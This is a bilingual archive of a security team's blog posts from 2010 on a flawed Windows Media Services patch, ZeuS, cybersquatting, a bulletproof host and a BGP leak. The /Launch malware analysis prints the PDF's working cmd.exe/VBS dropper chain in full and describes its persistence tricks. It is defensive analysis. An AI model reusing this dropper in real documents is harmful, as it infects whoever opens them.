mercredi 28 avril 2010

Vulnerability in Windows Media Services : epilog

No one missed it, the fix for the vulnerability in Windows Media Services that we reported to Microsoft was honored to be part of the small circle of patches pulled by the editor for not fixing the problem.

Immediately after the publication of the original patch, we have executed out of curiosity our proof of concept on the revised version of the service. This immediately caused a crash. Back with a debugger attached to the service, we found that the vulnerability was in a great shape! A changed return address later and our proof of concept worked perfectly against the new version of the service. We immediately contacted Microsoft, who was already working on the problem.

A few days later, Microsoft announced the withdrawal of the patch MS10-025, because it did not correct the vulnerability. The reason is as follows: "The original issue was missed due to focusing on a variant of the original report early in the investigation". Understand: we started on the wrong way early in the investigation (which lasted about eight months). Knowing that the proof of concept mentioned earlier has been sent to Microsoft when first contacting them to report the vulnerability, a simple test on the supposedly fixed version would have immediately exposed the problem ... Might the close Windows 2000 end of life be the cause of this neglect?

However, we have appreciated the transparency of the editor through the MSRC blog and Twitter.

Today, everything seems back to normal: a new patch properly fixing the vulnerability has been released by Microsoft.

Vulnérabilité dans Windows Media Services : épilogue

Cela n'a échappé à personne, le correctif pour la vulnérabilité dans Windows Media Services que nous avions remontée à Microsoft a eu l'honneur de faire partie du cercle très restreint des correctifs retirés par l'éditeur pour non-correction du problème.

Dès le lendemain de la publication du correctif initial, nous avons par curiosité exécuté notre preuve de concept sur la version corrigée du service. Celle-ci a immédiatement provoqué un plantage. De retour avec un debugger attaché au service, nous avons pu constater que la vulnérabilité se portait comme un charme ! Une adresse de retour modifiée plus tard et notre preuve de concept fonctionnait parfaitement contre la nouvelle version du service. Nous avons alors immédiatement contacté Microsoft, qui travaillait déjà sur le problème.

Quelques jours plus tard, Microsoft annonçait le retrait du correctif MS10-025, car celui-ci ne corrigeait pas la vulnérabilité. La raison invoquée est la suivante : "The original issue was missed due to focusing on a variant of the original report early in the investigation". Comprendre : nous sommes partis sur une fausse piste très tôt dans l'investigation (qui a duré environ 8 mois).
Sachant que la preuve de concept évoquée plus tôt a été fournie à Microsoft dés le premier contact pour remonter la vulnérabilité, un simple test sur la version soit-disant corrigée aurait immédiatement mis au jour le problème ... La fin de vie proche de Windows 2000 serait-elle à l'origine de cette négligence ?

On peut toutefois saluer la grande transparence de l'éditeur par le biais des blog et Twitter du MSRC.

Aujourd'hui, tout semble rentré dans l'ordre : un nouveau correctif corrigeant correctement la vulnérabilité a été publié par Microsoft.

/Launch malware

It is already known that the recent vulnerability (Ref. Lexsi 13190) in Adobe Acrobat/Reader when handling /Launch /Action is being exploited in the wild. Since yesterday, a new spam run exploiting this vulnerability has been spreading.

The email comes from operator@mycompany.com and tries to persuade the user that his POP3 and SMTP parameters have changed and that the new configuration can be found in the attached PDF:

pdfid shows that an action will be performed when opening the PDF document (/OpenAction):

$ pdfid.py doc.pdf

PDFiD 0.0.10 doc.pdf
PDF Header: %PDF-1.1
obj                    8
endobj                 8
stream                 1
endstream              1
xref                   1
trailer                1
startxref              1
/Page                  1
/Encrypt               0
/ObjStm                0
/JS                    0
/JavaScript            0
/AA                    0
/OpenAction            1
/AcroForm              0
/JBIG2Decode           0
/RichMedia             0
/Colors > 2^24         0

pdf-parser can be used to dump the corresponding code:

$ pdf-parser.py -a doc.pdf

Comment: 2
XREF: 1
Trailer: 1
StartXref: 1
Indirect object: 8
 2: 5, 6
/Action 1: 8
/Catalog 1: 1
/Font 1: 7
/Outlines 1: 2
/Page 1: 4
/Pages 1: 3

$ pdf-parser.py doc.pdf -v -f -w -o 8

<<
/Type /Action
/S /Launch
/Win
<<
 /F (cmd.exe)
 /P (/c echo Set fso=CreateObject("Scripting.FileSystemObject") > script.vbs && echo Set f=fso.OpenTextFile("doc.pdf", 1, True)
>> script.vbs && echo pf=f.ReadAll  >> script.vbs && echo s=InStr(pf,"'SS")  >> script.vbs && echo e=InStr(pf,"'EE")  >> script.vbs
&& echo s=Mid(pf,s,e-s)  >> script.vbs && echo Set z=fso.OpenTextFile("batscript.vbs", 2, True)  >> script.vbs &&
echo s = Replace(s,"%","") >> script.vbs && echo z.Write(s) >> script.vbs &&  script.vbs && batscript.vbs
Click the "open" button to view this document:)
>>
>>

This PDF does exploit the /Launch /Action vulnerability and uses the trick presented by Didier Stevens to change the warning message in Acrobat/Reader:

In fact, by moving up the dialog box, the malicious code can be displayed:

The exploitation code in this PDF file has several steps:

  • the shell code in the /Launch directive creates the script.vbs file
  • this script opens the PDF file and writes in batscript.vbs the data between the 'SS and 'EE patterns, taking care of removing unneeded "%" characters

  • the batscript.vbs script creates the game.exe binary byte after byte, and executes it

To ensure it will start on each system boot, game.exe copies itself in C:\Program Files\Microsoft Common\svchost.exe and sets itself as a debugger for explorer.exe. It connects to a command and control in Korea:

I promise I will not conclude this post by saying that almost no antivirus was able to detect this malicious binary.

/Launch malware

On savait déjà que la récente vulnérabilité (Ref. Lexsi 13190) dans la gestion des actions /Launch /Action par Adobe Acrobat/Reader était exploitée dans la nature. Depuis hier circule un nouveau run de spam exploitant cette vulnérabilité.

Le message arrive de operator@monentreprise.com et tente de faire croire à l'utilisateur que ses paramètres POP3 et SMTP ont changé et que les nouveaux paramètres peuvent être trouvés dans le PDF en pièce jointe :

pdfid nous apprend qu'une action va être exécutée à l'ouverture du PDF (/OpenAction) :

$ pdfid.py doc.pdf

PDFiD 0.0.10 doc.pdf
PDF Header: %PDF-1.1
obj                    8
endobj                 8
stream                 1
endstream              1
xref                   1
trailer                1
startxref              1
/Page                  1
/Encrypt               0
/ObjStm                0
/JS                    0
/JavaScript            0
/AA                    0
/OpenAction            1
/AcroForm              0
/JBIG2Decode           0
/RichMedia             0
/Colors > 2^24         0

pdf-parser nous permet de dumper le code correspondant :

$ pdf-parser.py -a doc.pdf

Comment: 2
XREF: 1
Trailer: 1
StartXref: 1
Indirect object: 8
 2: 5, 6
/Action 1: 8
/Catalog 1: 1
/Font 1: 7
/Outlines 1: 2
/Page 1: 4
/Pages 1: 3

$ pdf-parser.py doc.pdf -v -f -w -o 8

<<
/Type /Action
/S /Launch
/Win
<<
 /F (cmd.exe)
 /P (/c echo Set fso=CreateObject("Scripting.FileSystemObject") > script.vbs && echo Set f=fso.OpenTextFile("doc.pdf", 1, True)
>> script.vbs && echo pf=f.ReadAll  >> script.vbs && echo s=InStr(pf,"'SS")  >> script.vbs && echo e=InStr(pf,"'EE")  >> script.vbs
&& echo s=Mid(pf,s,e-s)  >> script.vbs && echo Set z=fso.OpenTextFile("batscript.vbs", 2, True)  >> script.vbs &&
echo s = Replace(s,"%","") >> script.vbs && echo z.Write(s) >> script.vbs &&  script.vbs && batscript.vbs
Click the "open" button to view this document:)
>>
>>

Ce PDF exploite donc bien la vulnérabilité /Launch /Action et utilise l'astuce présentée par Didier Stevens pour changer le message d'avertissement d'Acrobat/Reader :

En fait, en remontant dans la boîte de dialogue, le code shell malveillant s'affiche :

Le code d'exploitation du PDF fonctionne ensuite en plusieurs étapes :

  • le code shell contenu dans la directive /Launch crée le fichier script.vbs
  • ce script ouvre le PDF et recopie dans batscript.vbs le code VBS contenu entre les patterns 'SS et 'EE, en prenant soin de supprimer les "%"

  • le script batscript.vbs crée le fichier game.exe octet par octet, puis l'exécute

Afin d'assurer son lancement à chaque démarrage du système, game.exe se recopie dans C:\Program Files\Microsoft Common\svchost.exe et se place en tant que debugger de explorer.exe. Il se connecte à un canal de contrôle en Corée :

Promis, je ne finirai pas ce billet en disant que la détection du binaire malveillant par les éditeurs antivirus est quasi nulle.

jeudi 22 avril 2010

Update: A new cybersquatting case for AFNIC...

Update : AFNIC contacted us regarding our recommandation to complain to them on this case. Since a few weeks, the regulatory context of the registry's operations has changed. Regarding disputes, the 4th paragraph of the annex of this legal text exposes their rights and obligations :

4. Mise en place de procédures de règlement des différends

Therefore AFNIC can't as of today block, suspend or transfer a domain name without a court or arbitration decision. But they confirmed having started even before the newspaper's article the adequate procedure mentioned in this paragraph. This process starts by asking the registrar to verify the authenticity and eligibility of these registrations. Should this process show that the registrations are not in line with the registry's charter and regulations (in particular if the registrar don't reply quickly or precisely enough), AFNIC will take the appropriate actions, such as suspending the incriminated domain names.


******************

Since a few weeks, a cybersquatter is targeting the French ".fr" ccTLD again. A well-known business newspaper called Les Echos published a few days ago a story about this case.

Until today, AFNIC -the French registry operator- is doing a good job at maintaining a low level of such abuses compared to other TLDs. Strict anti-cybersquatting regulations and decisions have been implemented in the past against a few companies that attempted to register "en masse" .fr domain names. AFNIC played for example a key role in stopping EuroDNS (see here or here), AFX Consulting or KLTE's activities.

Cybersquatters seem nonetheless to want to try again, as a new round of bulk domain names registration is currently occurring (at least 700 domains in the last few days). But this time, the cybersquatter(s) behind this fraudulent behavior aren't easy to spot, as the domain are registered through multiple (fake) identities. We have nonetheless detected the following patterns:

a Bahamas-based company set up by an Italian national who studied in France. The company's board also include a French expert that previously worked for a webhosting provider. A domain reseller might potentially be abusing Internet.bs system.

  • DNS servers : ns1-2.bodis.com

These servers always point to sponsored links Web portals. Such websites don't provide any meaningful content and try to hijack some of the traffic intended to the real websites of the trademark holders. This kind of practice is considered to be registration of domains in "bad faith". Therefore brand owners usually obtain that the infringing domain name be suspended or transfered to them. Bodis.com has been set up by Matt Wegrzyn, a 22-year-old American "domainer", who might be connected with or is aware that cybersquatters use bodis.com web portals to generate profits.

  • Registrant information:

The contact details contains :
- Random fictitious names;
- Postal address + phone number records that simulate existing addresses, potentially picked from business/public administration directories. But almost all of these contact information are not currently allocated;
- E-mail addresses through free webmail providers (@gmx.com, @myemail.com, @hotmail.com, @gmail.com, etc.). Each address is only used for a limited number of registrations (around 30 to 50).
The most interesting e-mail address from this affair is bradklarkson@xxxxx.com, as it has been used since 2009 in previous cybersquatting cases involving .com domain names.

Obviously these domains are not registered in order to set up fraudulent websites. That's why engaging dispute resolution or legal procedures is often considered not worthless. We recommend the organisations affected by this specific scheme to contact and file their complaint with AFNIC directly, as expressed by Loïc Damilaville from AFNIC in the article. Should this step not be successful, AFNIC also introduced a few months ago a new expedited procedure that may help companies targeted by cybersquatting to recover or suspend domain names with limited costs.

If numerous complaints are gathered by AFNIC, the body will question Internic.bs (and by extension its domain name resellers) on this specific case. The registry could after investigations also decide graduated sanctions against the registrar.

NB:
A list of cybersquatted domains can be found on the French newspaper "Les Echos" website, but an error has been noticed following our investigation : "act-info.fr", although registered with the registrar Internet.bs, is not part of the same cybersquatting wave.


(© Erik J. Heels from iStockphoto.com)

lundi 19 avril 2010

Grandhost, un hébergeur qui ne vous veut pas que du bien

S'il était encore besoin de s'en convaincre, depuis la chute de l'hébergeur pirate Russian Business Network, le phénomène des hébergeurs "pare-balles" n'a fait qu'empirer. De telles sociétés poussent comme des champignons, en prenant bien garde cette fois à rester sous le radar.

Ainsi, depuis quelques semaines, un nouvel hébergeur frauduleux a fait son apparition : il s'agit de Grandhost -- à ne surtout pas confondre avec Grand Host, dont le nom commercial a été squatté, probablement à dessein pour brouiller les pistes.

Certaines caractéristiques de cet hébergeur nous intéressent tout particulièrement ; en effet, il s'agit à notre connaissance de la première fois qu'un hébergeur pirate offre une gamme de services aussi importante à ses clients. Tout d'abord, l'hébergeur propose plusieurs modes d'hébergement : dédié, virtuel (VDS), ou mutualisé. Les services sont proposés dans "plusieurs régions du globe", ce qui laisse entendre que contrairement à RBN, l'hébergeur ne dispose pas de son propre datacenter, mais loue des machines pour ses clients auprès d'autres hébergeurs. Ensuite, la société offre des services d'enregistrement de domaines anonymes - elle avance même une accréditation ICANN bidon. Mais surtout, Grandhost a noué un "partenariat" avec le service Check Crypt, qui fournit aux pirates les moyens de contrôler que leur site web n'est pas placé sur liste noire, et que leur virus n'est pas détecté par les anti-virus. Le site prétend ainsi tester - pour mieux les contourner - les listes noires McAfee, PhishTank, SpamHaus, ZeusTracker, et plusieurs autres.

Enfin, l'hébergeur serait opéré par une équipe de quatre personnes : un administrateur, et trois personnes dédiées au support technique, avec une véritable plateforme de ticketing et de suivi d'incident (nous déconseillons toutefois l'utilisation de cette plateforme pour signaler des sites frauduleux...). Une taille importante pour un hébergeur aussi jeune, sur un tel marché de niche. Le discours marketing de l'hébergeur ukrainien est particulièrement agressif, puisqu'il promet un "anonymat absolu" et une "immunité aux signalements de fraudes". La société précise tout de même qu'elle refuse les contenus à caractère pédo-pornographique, pour des raisons d'éthique.

La jeune société a toutefois déjà à son actif l'hébergement d'un site de phishing HSBC et de plusieurs domaines ayant pour vocation de diffuser des malware.

Si cela ne vous rappelle rien, c'est que vous êtes miraculeusement passé à travers la tornade médiatique "RBN" et ses dérapages. Le discours commercial de Grandhost est calé pratiquement mot pour mot sur celui de son prédécesseur, en le poussant toutefois à la vitesse supérieure.

vendredi 16 avril 2010

ZeuS’ very prolific offspring

Since 2009, the ZeuS Trojan, which also goes by the nicknames “PRG”, “Zbot” and “WSNPoem,” has been experiencing particularly disturbing transformations. Laboratory observations conducted by security researchers have revealed the emergence of unprecedented functionalities over the past six months which confirm ZeuS’ prowess in terms of state-of-the-art technical innovation.

Version 1.4, first identified in December 2009, is equipped with a standard HTML page injection feature for FireFox. Until then, only customers having purchased an external module had access to this functionality. The version also has an embedded module making it possible to remotely control the infected machine via the VNC protocol, a widely used “remote office” tool. But above all, Version 1.4 introduces a polymorphic component that enables the virus to immediately re-encrypt itself on the newly infected computer, thereby impeding the task of antiviruses.

The problem for the ZeuS author is thus clearly to promote the malware through innovation and expansion of its clientele, knowing that the majority of ZeuS versions in circulation have quickly been hacked. Customers haven’t hesitated to resell their purchase to other hackers – at a discount, and by injecting a backdoor while they’re at it. For this reason, it isn’t hard to find a wide variety of ZeuS versions on forums for extremely low prices, even free of charge, while the cost of the version that can be purchased from the malware’s author runs as high as $5,000. In order to protect both his “work” and “copyright,” as of November 2009, the ZeuS developer has integrated a protection mechanism based on a unique license key, which is generated from the physical features of the hacker’s machine. This way, other hackers are prevented from installing the malware on their computer with a stolen license key.

However, these innovations are still in the experimental stages: the latest versions of ZeuS (1.3.4 and higher) are only distributed on a single botnet, with the likely purpose of testing the malware’s beta versions. Over the past several years, the developer has called on the services of a regular customer to observe the malware, to the extent that certain functionalities have been encrypted at the author’s request and been confined to private circulation for awhile now. This group of cybercrooks, christened “JabberZeuS” by researchers, is specialized in stealing the banking credentials of business accounts, particularly in the US via the Automated Clearing House network. In mid-2009, researchers attributed this group with having attempted fraudulent transfers totaling 50,000 to 100,000 dollars per day.

Today we have more information on the malware’s developer. Having claimed authorship of the code in 2007, this individual has a very peculiar way of getting in the limelight. In September 2006, he turned up once again on criminal forums, this time with a new identity, “UpLevel,” after having used several other aliases with bad reputations that UpLevel wanted to shed. Although we know very little prior to this date, the ZeuS creator served in the Russian Air Force, presumably during his military service. In December 2006, UpLevel succeeded in winning over the community by reporting having been in a serious motorcycle accident (he even shows a picture). Suffering from spinal injuries, he is allegedly prohibited from sitting up over the course of several months. Taking advantage of the commotion caused by this news within the community, he organized a donation campaign to fund his operation and pay for his physical therapy. Promoted to the honorable status of forum moderator, “UpLevel” became a recognized and respected figure in the community, often standing in as a trusted third party for sensitive transactions.

Then, in May 2007, he flip-flops and disappears into thin air, leaving in his wake some tens of thousands of dollars in debt to particularly angry creditors. Deprived of his honorable status, he is publicly denounced as a crook and blacklisted by Kidala.info. However, everything seems to point to the fact that this disappearance is just another act, and that the hacker has simply switched identities thanks to the help of forum administrators. Thus, just three days after having dropped out of sight, a certain “A-Z” takes over – an identity that had never been used before.

Mere coincidence? The summer of 2007 is precisely the same time that, according to SecureWorks, the developer is said to have begun a particularly fruitful collaboration with a German criminal group, distinguishing themselves through their use of ZeuS for Man-in-the Middle attacks (at the time, the function was not publicly distributed in the malware).

This was followed by several long months of silence, during which the public version of ZeuS underwent almost no evolution: the last changes it had seen dated back to the very first versions circulated in 2006-2007. But in late 2008, things started taking off, with the emergence of new encryption mechanisms and the arrival of the notorious BackConnect function, enabling the infected machine to be taken over immediately after opening a session on an online banking site. The process has since improved, the virus now connecting to the SecureSocks server in order to notify the hacker in real time via the Jabber instant messaging service. These innovations have bolstered ZeuS with an extraordinary versatility: the malware is used both in massive attacks infecting computers on a wide scale as well as in highly targeted attacks preying on specific companies.

In 2009, the malware’s coder began to resurface. Using the identity "Monstr" and a number of other assumed names that aren’t revealed here, on various forums he claimed the malware to be his own. The malware continued to innovate until the end of the year, when it hit a stumbling block: in March 2010, the Troyak (literally "Trojan" in Russian) bulletproof host went offline, provoking the shutdown of half of the ZeuS control servers. Visibly scalded by this incident, the hackers have since dissipated the physical trace of their control servers by hosting them in fast-flux – a technique that enables content to be hosted on thousands of infected computers in reverse proxy configuration.   Cert-Lexsi had the opportunity to decrypt 3,500 parameter files of ZeuS variants in circulation. The extensions demonstrating the most popular targets among users of the virus of course include the .COM extension, followed by extensions .ES (Spain), .UK (United Kingdom), .DE (Germany), .RU (Russia), and .IT (Italy) as close runners up.

And since April 13, the never before seen version 2.0 of ZeuS has been circulating on the net. Although little is known about its innovations for the time being, we are already aware that credentials stolen from a contaminated machine are no longer stored on its hard drive, but on the Windows Registry. This version is distributed on the famous JabberZeus botnet, which should guarantee the newborn a bright future.

jeudi 15 avril 2010

Vulnerability in Windows Media Services

This month, Microsoft has fixed a vulnerability that we reported last summer, about a stack-based buffer overflow in the "Windows Media Unicast" service of Windows Media Services on Windows 2000 (Ref. Lexsi 13242).

Although vulnerability research is not part of our activities, we discovered it during a fuzzing session as a result of a response incident case with a client whose critical data had been stolen. Searching for the attackers had then led us to many compromised servers. These servers had the following similarities:

  • Windows 2000 or 2003 operating system
  • Windows Media Services service enabled

These indications suggested us that a 0-day vulnerability affecting the Windows Media Services might have been used to compromise the servers. This hypothesis has subsequently been reinforced when we discovered that scans to TCP port 1755 were carried out by the attackers.

Once our mission was completed, we started a simplistic fuzzer to TCP port 1755 of a Windows Server 2000 test host. This test was successful, since the service crashed a few tens of minutes later. The corresponding vulnerability was quickly identified, and a functional exploit code was written (which seems to have taken no more than a few hours (minutes?) to Immunity after the publication of the editor's advisory).

Our contacts with Microsoft learned us that this vulnerability only affected Windows 2000. So it is certainly not what our attackers potentially used to compromise the servers ...

On the patch day in its entirety, it is rather heavy with no less than 25 fixed vulnerabilities in 11 bulletins. Among these, some deserve a little attention:

  • MS10-020: five vulnerabilities in the Windows SMB client, four of which were identified by Laurent Gaffié, as he promised during his latest discovery. Unlike its server side component, the SMB client side had apparently not received extensive investigations to date! (Ref. Lexsi 13243)
  • MS10-021: eight vulnerabilities in the Windows kernel, five of which were identified by Hispasec in an obscure feature (term used by Microsoft) Windows registry: symbolic links (Ref. Lexsi 13251).

A patch-day never looks like the previous one ! :-)

mercredi 14 avril 2010

Vulnérabilité dans Windows Media Services

Ce mois-ci, Microsoft a corrigé une vulnérabilité que nous leur avions remonté l'été dernier, concernant un débordement de tampon dans la pile dans le service "Windows Media Unicast" de Windows Media Services sous Windows 2000 (Réf. Lexsi 13242).

Bien que n'ayant pas pour activité la recherche de vulnérabilités, celle-ci a été découverte lors d'une séance de fuzzing à la suite d'une intervention chez un client s'étant fait dérober des données critiques. La recherche des attaquants nous avait alors mené jusqu'à de nombreux serveurs compromis. Les points communs entre ces serveurs étaient les suivants :

  • Système d'exploitation Windows 2000 ou 2003
  • Service Windows Media Services activé

Ces indications nous ont laissé penser qu'une vulnérabilité 0-day touchant le service Windows Media Services avait pu être employée pour la compromission. Cette hypothèse a par la suite été renforcée par la découverte d'indications que des scans du port TCP 1755 avaient été effectués par les attaquants.

Une fois l'intervention terminée, nous avons lancé par curiosité un fuzzer simpliste vers le port TCP 1755 d'un serveur Windows 2000 de test. Ce test s'est révélé fructueux, puisque le service a crashé quelques dizaines de minutes plus tard. Une vulnérabilité a rapidement été identifiée, et un code d'exploitation fonctionnel a pu être écrit dans la foulée (ce qui semble n'avoir pris que quelques heures (minutes ?) à Immunity après la publication du bulletin éditeur).

Nos contacts avec Microsoft nous ont appris que la vulnérabilité touchait exclusivement Windows 2000. Ce n'est donc certainement pas celle que nos pirates ont potentiellement utilisé pour compromettre les serveurs ...

Concernant le patch-day dans sa globalité, celui-ci est plutôt chargé puisque pas moins de 25 vulnérabilités ont été corrigées dans 11 bulletins. Parmi ceux-ci, certains méritent que l'on y prête un peu d'attention :

  • MS10-020 : cinq vulnérabilités dans le client SMB de Windows, donc quatre ont été identifiées par Laurent Gaffié, comme il avait pu le promettre lors de sa dernière découverte. Contrairement à la partie serveur, la partie client de SMB n'avait apparemment pas subit d'investigations poussées jusqu'ici ! (Réf. Lexsi 13243)
  • MS10-021 : huit vulnérabilités dans le noyau, dont cinq ont été identifiées par Hispasec dans une fonctionnalité obscure (terme employé par Microsoft) du registre Windows : les liens symboliques (Réf. Lexsi 13251).

Les patch-days se suivent ... mais ne se ressemblent pas :-)

mardi 13 avril 2010

La très prolifique descendance de ZeuS

Le cheval de Troie ZeuS, aussi connu sous ses petits noms « PRG », « Zbot », ou encore « WSNPoem », subit depuis fin 2009 des mutations particulièrement inquiétantes. Les chercheurs en sécurité qui observent le malware en laboratoire ont en effet noté l’apparition de fonctionnalités inédites depuis environs six mois, qui confirment que ZeuS reste à la pointe de l’innovation technique.

Ainsi, la version 1.4, identifiée pour la première fois en décembre 2009, inclut en standard une fonction d’injection de pages HTML dans FireFox, alors que cette fonctionnalité restait jusqu’ici accessible uniquement aux clients ayant fait l’acquisition d’un module externe ; elle inclut également un module de prise de contrôle à distance de la machine infecté via le protocole VNC, outil très répandu de « bureau à distance ». Mais surtout, la version 1.4 introduit un mécanisme de polymorphisme, le virus se ré-encryptant immédiatement sur la machine nouvellement infectée, de sorte que les anti-virus voient leur travail entravé.

La problématique, pour l’auteur de ZeuS, est donc clairement de valoriser le malware en innovant et en développant sa clientèle. Oui mais voilà, la plupart des versions de ZeuS en circulation se faisaient rapidement pirater, les clients n’hésitant pas à revendre leur acquisition à d’autres pirates – au rabais, et en injectant au passage une porte dérobée : il est extrêmement simple de trouver sur des forums différentes versions de ZeuS à très bas prix, voire gratuites, alors que la version payante peut être acquise auprès de l’auteur du malware pour plus de 5.000 dollars. Pour protéger son « œuvre » et ses « droits d’auteur », le développeur de ZeuS a ainsi inclus dès novembre 2009 un mécanisme de protection, basé sur une clef de licence unique, générée à partir des caractéristiques matérielles de la machine du pirate : ainsi, un autre pirate ne pourra pas installer sur son ordinateur le malware avec une clef de licence volée.

Ces innovations sont toutefois à un stade encore expérimental : les dernières versions de ZeuS (1.3.4 et supérieures) ne sont diffusées que sur un seul botnet, probablement destiné à tester les versions « beta » du malware. Le développeur dispose en effet des services d’un bon client, qui suit le malware depuis plusieurs années, au point que certaines fonctionnalités aient été codées à sa demande et soient restées en diffusion privée pendant longtemps. Ce groupe de fraudeurs, baptisé « JabberZeus » par les chercheurs, se spécialise dans le vol d’informations bancaires de comptes d’entreprises, en particulier aux Etats-Unis via le réseau de l’Automated Clearing House : à la mi-2009, les chercheurs attribuaient à ce seul groupe des tentatives de virement frauduleux de 50.000 à 100.000 dollars par jour.

On en sait aujourd’hui davantage sur le développeur du malware : celui-ci, qui revendiquait la paternité du code en 2007, possède une manière très personnelle de faire parler de lui. En effet, en septembre 2006, il débarque sur des forums criminels avec sa nouvelle identité, « UpLevel », après en avoir usé plusieurs autres, associées à une mauvaise réputation dont il se débarrasse du même coup. On sait peu de choses avant cette date, si ce n’est qu’il a servi dans l’armée de l’air russe, probablement à l’occasion de son service militaire. En décembre 2006, UpLevel parvient à attendrir le milieu en déclarant avoir subi un grave accident de moto (il en donne même la photo) : atteint à la colonne vertébrale, le médecin lui aurait interdit la position assise pendant plusieurs mois. La nouvelle provoque tellement d’émotion dans la communauté qu’il lance une collecte de dons pour financer son opération et sa rééducation. Il obtient très vite le statut honorifique de modérateur sur le forum, et devient un personnage reconnu et respecté de la communauté, intervenant souvent comme tiers de confiance dans des transactions sensibles.

Puis, en mai 2007, il retourne de nouveau sa chemise et disparaît du jour au lendemain, laissant derrière lui des dizaines de milliers de dollars de dettes à des créanciers particulièrement agacés. Il perd tous ses statuts honorifiques, est traité d’escroc sur la place publique, et est placé sur la liste noire Kidala.info. Cependant, tout semble indiquer que cette disparition est une nouvelle mise en scène, et que le pirate a simplement changé d’identité, avec la bénédiction des administrateurs du forum. Ainsi, trois jours après son évaporation, un certain « A-Z » prend le relais – identité qui était restée jusqu’ici inactive.

Coïncidence ? L’été 2007 est justement la période où, selon SecureWorks, le développeur aurait entamé une collaboration particulièrement fructueuse avec un groupe de criminels allemands, qui se sont illustrés par l’utilisation de ZeuS pour des attaques « Man-in-the-middle » (la fonction n’était, à l’époque, pas diffusée publiquement dans le malware).

S’ensuivent de longs mois de silence, la version publique de ZeuS n’ayant pratiquement pas évolué depuis ses premières versions diffusées en 2006-2007. Mais fin 2008, tout s’accélère, avec l’apparition de nouveaux mécanismes de chiffrement, et l’arrivée de la fameuse fonction BackConnect, permettant de prendre en main la machine infectée immédiatement après l’ouverture de la session sur le site de banque en ligne. Depuis, le procédé a été amélioré, le virus se connectant à un serveur SecureSocks pour notifier le pirate en temps réel via la messagerie instantanée Jabber.

Ces innovations ont conféré à ZeuS une versatilité hors du commun : le malware est en effet utilisé à la fois dans des attaques massives infectant des machines à grande échelle, et à la fois dans des attaques très ciblées visant des entreprises spécifiques.

En 2009, le codeur du malware devient également un peu plus visible ; il revendique la paternité du malware sur des forums, sous l’identité « Monstr » et sous plusieurs autres pseudonymes, que nous ne révélerons pas. Les innovations se succèdent jusqu’à la fin de l’année, jusqu’à un coup dur : en mars 2010, la chute de l’hébergeur pare-balles TROYAK (littéralement, « Troyen », en russe) provoqua la mise hors service de la moitié des serveurs de contrôle de ZeuS. Les pirates, visiblement échaudés par cet incident, ont depuis entrepris de dématérialiser leurs serveurs de contrôle, en les hébergeant en fast-flux – technique permettant d’héberger un contenu sur des milliers de machines compromises, configurées en proxy inversé.

Le Cert-Lexsi a eu l’opportunité de déchiffrer 3.500 fichiers de paramètres de souches ZeuS en circulation. Parmi les extensions présentant les cibles les plus populaires parmi les usagers du virus, on note évidemment l’extension .COM, au côté desquelles les extensions .ES (Espagne), .UK (Royaume-Uni), .DE (Allemagne), .RU (Russie), et .IT (Italie) figurent en bonne place. Quant à elle, l’extension .FR ne figure qu’à la neuvième place en termes de popularité des cibles nationales.

Et depuis le 13 avril, la version 2.0 de ZeuS, inédite, est diffusée sur le web. Ses innovations sont encore largement méconnues, mais on sait déjà que les identifiants volés sur une machine infectée ne sont plus stockés sur son disque dur, mais dans la base de registres Windows. Cette version est diffusée sur le fameux botnet JabberZeus : cela devrait assurer au nouveau-né un avenir doré.

vendredi 9 avril 2010

Tous les chemins (BGP) mènent à... Pékin

Un incident a affecté pendant près de 20 minutes hier soir le routage du trafic dans de nombreux pays. Un opérateur chinois, qui annonce d'habitude quelques routes via BGP, a commencé vers 18h à annoncer plusieurs dizaines de milliers de routes relatives à des AS du monde entier. Ceci a eu pour effet de propager ces "mauvaises" routes à d'autres FAIs chinois comme China Telecommunications et par boule de neige auprès de plusieurs FAI à l'étranger et notamment en France (508 préfixes détournés selon BGPmon). Un tel cas de figure entraîne dans le pire des scénarios un détournement de trafic intégral.

Cette erreur de routage de trafic a rapidement été identifiée et corrigée. Elle a été mentionnée sur la liste de diffusion des opérateurs nord-américains NANOG et bien sûr sur Twitter en premier (ici ou ici).

Ceci prouve que les systèmes d'alerte gratuits existants (voir notamment à ce sujet l'article de S. Bortzmeyer ici : BGPmon, Cyclops, Watchmy.net, Cymru, etc.) fonctionnent, mais surtout qu'une part non négligeable d'administrateurs réseaux surveillent avec attention leur trafic. Cet incident peut aussi servir à pousser un maximum d'organisations à améliorer la surveillance de leur trafic réseau, et inciter les FAI à mettre en place des systèmes de contrôle, notamment en cas de modifications brutales d'annonces BGP.

Survenant quelques jours seulement après un autre problème lié au procédé de filtrage DNS en Chine, ce nouvel incident risque de faire fleurir une nouvelle vague de rumeurs de piratage issu de Chine, voire "sponsorisé par l'Etat chinois". La cause relève en fait vraisemblablement d'une erreur malencontreuse d'un technicien de l'opérateur, comme dans le précédent survenu chez un opérateur au Pakistan.

Mais elle met à nouveau en lumière l'interconnexion sans frontières des réseaux via BGP dans le monde et les faiblesses de ce protocole de routage de trafic. Pour rappel, bloquer unilatéralement le trafic en provenance ou à destination de Chine (outre les problèmes techniques, juridiques, etc. engendrés) ne permet pas de se prémunir de ce type de détournement de trafic extérieur au périmètre du SI. En effet, la solution se situe au niveau supérieur et rappelle le rôle prépondérant des FAI dans la sécurité.

lundi 5 avril 2010

Forum International sur la Cybercriminalité 2010

Le Forum International sur la Cybercriminalité a ouvert ses portes pour deux jours, les 31 mars et 1er avril. Cet évènement majeur à l’initiative de la Gendarmerie Nationale a ainsi vu sa quatrième édition se dérouler dans l’agréable Grand Palais de Lille.

Au programme, plus d’une vingtaine d’ateliers pour plus de 1500 visiteurs d’une vingtaine de pays. Le « FIC » attire de plus en plus de visiteurs chaque année, pour la plupart des professionnels de la sécurité informatique.

La conférence plénière d’ouverture a mis en avant la même préoccupation que les années précédentes : la cybercriminalité est un sujet d’actualité, inquiétant, et qui nécessite une harmonisation et une meilleure collaboration entre acteurs juridiques et professionnels dans cette lutte qui contrairement aux législations en vigueur ne connait pas de frontières. Malgré des intervenants de qualité pour cette ouverture, de nombreux visiteurs ont regretté l’absence du Ministre de l’Intérieur, représenté finalement par le Préfet du Nord Monsieur Jean-Michel Bérard.

